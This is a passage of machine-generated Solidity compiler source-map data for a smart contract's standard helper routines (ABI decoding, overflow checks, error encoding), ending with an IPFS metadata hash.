31;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;4943:251::-;5013:6;5066:2;5054:9;5045:7;5041:23;5037:32;5034:52;;;5082:1;5079;5072:12;5034:52;5114:9;5108:16;5133:31;5158:5;5133:31;:::i;6472:306::-;6560:6;6568;6576;6629:2;6617:9;6608:7;6604:23;6600:32;6597:52;;;6645:1;6642;6635:12;6597:52;6674:9;6668:16;6658:26;;6724:2;6713:9;6709:18;6703:25;6693:35;;6768:2;6757:9;6753:18;6747:25;6737:35;;6472:306;;;;;:::o;7062:277::-;7129:6;7182:2;7170:9;7161:7;7157:23;7153:32;7150:52;;;7198:1;7195;7188:12;7150:52;7230:9;7224:16;7283:5;7276:13;7269:21;7262:5;7259:32;7249:60;;7305:1;7302;7295:12;9372:128;9439:9;;;9460:11;;;9457:37;;;9474:18;;:::i;9505:125::-;9570:9;;;9591:10;;;9588:36;;;9604:18;;:::i;11182:135::-;11221:3;11242:17;;;11239:43;;11262:18;;:::i;:::-;-1:-1:-1;11309:1:1;11298:13;;11182:135::o;11322:217::-;11362:1;11388;11378:132;;11432:10;11427:3;11423:20;11420:1;11413:31;11467:4;11464:1;11457:15;11495:4;11492:1;11485:15;11378:132;-1:-1:-1;11524:9:1;;11322:217::o;12078:127::-;12139:10;12134:3;12130:20;12127:1;12120:31;12170:4;12167:1;12160:15;12194:4;12191:1;12184:15;12210:980;12472:4;12520:3;12509:9;12505:19;12551:6;12540:9;12533:25;12577:2;12615:6;12610:2;12599:9;12595:18;12588:34;12658:3;12653:2;12642:9;12638:18;12631:31;12682:6;12717;12711:13;12748:6;12740;12733:22;12786:3;12775:9;12771:19;12764:26;;12825:2;12817:6;12813:15;12799:29;;12846:1;12856:195;12870:6;12867:1;12864:13;12856:195;;;12935:13;;-1:-1:-1;;;;;12931:39:1;12919:52;;13026:15;;;;12991:12;;;;12967:1;12885:9;12856:195;;;-1:-1:-1;;;;;;;13107:32:1;;;;13102:2;13087:18;;13080:60;-1:-1:-1;;;13171:3:1;13156:19;13149:35;13068:3;12210:980;-1:-1:-1;;;12210:980:1:o

ipfs://cc447461ff728cd1fa5fded09705f5e774c52dd3d00edc5ef1636e8201fba157